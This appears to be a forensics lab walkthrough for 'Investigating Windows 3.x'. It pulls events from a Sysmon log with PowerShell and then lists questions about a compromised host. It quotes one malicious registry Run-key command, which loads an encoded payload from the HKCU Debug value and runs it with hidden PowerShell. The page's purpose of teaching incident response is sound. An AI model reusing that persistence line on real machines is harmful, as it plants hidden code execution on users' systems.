search

Investigating Windows 3.x

What is the registry key with the encoded payload? (full path)

Get-WinEvent -Path .\Sysmon.evtx -FilterXPath '*/System/*' | Sort-Object TimeCreated

# First way
# https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
# EventID 13 is registry value set
Get-WinEvent -Path .\Sysmon.evtx -FilterXPath '*/System/EventID=13' | Sort-Object TimeCreated | Where-Object {$_.Message -like "*enc*"} | fl

TimeCreated  : 1/21/2021 5:08:13 PM
ProviderName : Microsoft-Windows-Sysmon
Id           : 13
Message      : Registry value set:
               RuleName: technique_id=T1547.001,technique_name=Registry Run Keys / Start Folder
               EventType: SetValue
               UtcTime: 2021-01-22 01:08:13.468
               ProcessGuid: {786593ca-776d-6009-4b00-000000000300}
               ProcessId: 2684
               Image: C:\Windows\Explorer.EXE
               TargetObject:
               HKU\S-1-5-21-1022688529-3069809663-3800007983-500\Software\Microsoft\Windows\CurrentVersion\Run\Updater
               Details: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$x=$((gp
               HKCU:Software\Microsoft\Windows\CurrentVersion Debug).Debug);powershell -Win Hidden -enc $x"

# Second way
You can view /Desktop/sysmon.evtx by importing in event viewer.
Registry value set:
RuleName: technique_id=T1547.001,technique_name=Registry Run Keys / Start Folder
EventType: SetValue
UtcTime: 2021-01-22 01:08:13.468
ProcessGuid: {786593ca-776d-6009-4b00-000000000300}
ProcessId: 2684
Image: C:\Windows\Explorer.EXE
TargetObject: HKU\S-1-5-21-1022688529-3069809663-3800007983-500\Software\Microsoft\Windows\CurrentVersion\Run\Updater
Details: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$x=$((gp HKCU:Software\Microsoft\Windows\CurrentVersion Debug).Debug);powershell -Win Hidden -enc $x"

# View Registry in registry editor
HKCU:Software\Microsoft\Windows\CurrentVersion\Debug

What is the rule name for this run key generated by Sysmon?

What tactics is classified with this MITRE ATT&CK ID?

What was UTC time for the Sysmon event?

What was the Sysmon Event ID? Event Type? (answer, answer)

Decode the payload. What service will the payload attempt start?

The payload attempts to open a local port. What is the port number?

What process does the payload attempt to terminate?

What DLL file does the payload attempt to remove? (full path)

What is the Windows Event ID associated with this service?

What is listed as the New Default Printer?

What process is associated with this event?

What is the parent PID for the above process?

Examine the other processes. What is the PID of the process running the encoded payload?

Decode the payload. What is the a visible partial path?

This is the default communication profile the agent used to connect to the attack machine. What attack framework was used? What is the name of the variable? (answer, answer)

What other file paths are you likely to find in the logs? (answer, answer)

What is the MITRE ATT&CK URI for the attack framework?

What was the FQDN of the attacker machine that the suspicious process connected to?

What other process connected to the attacker machine?

What is the PID for this process?

What was the path for the first image loaded for the process identified in Q's 19 & 20?

What Symon event were generated between these 2 processes? What is its associated Event ID #? (answer, answer)

What is the UTC time for the first event between these 2 processes?

What is the UTC time for the first event between these 2 processes?

What is the value under Date and Time? (MM/DD/YYYY H:MM:SS [AM/PM])

What is the first operation listed by the 2nd process starting with the Date and Time from Q25?

What is the full registry path that was queried by the attacker to get information about the victim?

What is the name of the last module in the stack from this event which had a successful result?

Most likely what module within the attack framework was used between the 2 processes?

What is the MITRE ID for this technique?

PreviousInvestigating Windows 2.xNextAndroid Malware Analysis

Last updated